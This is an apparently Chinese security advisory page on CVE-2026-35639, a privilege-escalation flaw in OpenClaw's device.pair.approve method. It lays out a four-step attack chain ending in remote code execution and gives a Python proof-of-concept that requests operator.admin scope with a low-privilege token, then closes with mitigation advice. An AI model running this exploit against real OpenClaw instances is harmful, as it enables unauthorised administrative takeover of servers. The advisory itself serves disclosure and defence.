IPBUF安全漏洞报告
English
CVE-2026-35639 CVSS 8.8 高危

CVE-2026-35639 OpenClaw 提权漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35639
漏洞类型
权限提升
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限提升远程代码执行OpenClawCVE-2026-35639

漏洞概述

OpenClaw 2026.3.22 之前的版本中存在一个高危权限提升漏洞。该漏洞源于 device.pair.approve 方法在处理设备配对请求时,缺乏严格的范围验证。具有 operator.pairing 权限的攻击者可以利用此缺陷,批准超出其权限范围的设备请求,从而将权限提升至 operator.admin。成功利用该漏洞可导致攻击者在 Node 基础设施上执行任意代码,严重影响系统的机密性、完整性和可用性。

技术细节

该漏洞的核心原理在于 OpenClaw 组件在设备配对批准逻辑中的访问控制缺陷。具体而言,device.pair.approve 方法仅验证了请求者是否具备 operator.pairing 的基础角色,而未深度比对请求批准者所持有的权限范围与待批准设备请求所需的权限范围。攻击者可以构造恶意的设备配对请求,其中包含高权限的标记(如 operator.admin)。由于系统存在验证逻辑漏洞,低权限的批准者可以成功通过这些高权限请求。一旦攻击者通过此种方式获取了 operator.admin 权限,即可进一步控制 Node 基础设施,利用管理员接口注入并执行恶意代码,实现远程代码执行(RCE)。CVSS 3.1 评分 8.8 表明该漏洞利用难度低且危害极大。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描目标网络,识别出运行 OpenClaw 且版本低于 2026.3.22 的实例。
STEP 2
步骤2:获取低权限凭证
攻击者通过某种方式获取了一个具有 operator.pairing 权限的账户凭证。
STEP 3
步骤3:利用漏洞提权
攻击者使用该凭证调用 device.pair.approve 接口,并在请求参数中指定 scope 为 operator.admin,绕过权限验证。
STEP 4
步骤4:执行远程代码
获取 operator.admin 权限后,攻击者访问 Node 基础设施管理接口,上传并执行恶意代码,完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-35639 # This script demonstrates the privilege escalation vulnerability # by exploiting insufficient scope validation in device.pair.approve. import requests import json TARGET_URL = "http://target-openclaw-instance/api" # Attacker holds a low-privileged token with operator.pairing scope ATTACKER_TOKEN = "low_privilege_operator_pairing_token" # The payload attempts to approve a device request with operator.admin scope # using the low-privileged account. payload = { "method": "device.pair.approve", "params": { "request_id": "pending_malicious_device_id", # Vulnerability: The backend does not validate if the approver # has the right to grant this specific high-level scope. "scope": "operator.admin" }, "id": 1 } headers = { "Content-Type": "application/json", "Authorization": f"Bearer {ATTACKER_TOKEN}" } print("[*] Attempting to escalate privileges via device.pair.approve...") try: response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers) if response.status_code == 200: result = response.json() if "error" not in result: print("[+] Exploit successful! Privileges escalated to operator.admin.") print(f"[+] Granted Scope: {result.get('result', {}).get('scope')}") else: print(f"[-] Exploit failed: {result['error']}") else: print(f"[-] HTTP Error: {response.status_code}") except Exception as e: print(f"[-] Connection error: {e}")

影响范围

OpenClaw < 2026.3.22

防御指南

临时缓解措施
在未完成升级前,建议暂时禁用 device.pair.approve 功能或严格限制 operator.pairing 角色的账户数量,并加强对该接口调用的日志监控,以便及时发现异常的提权行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表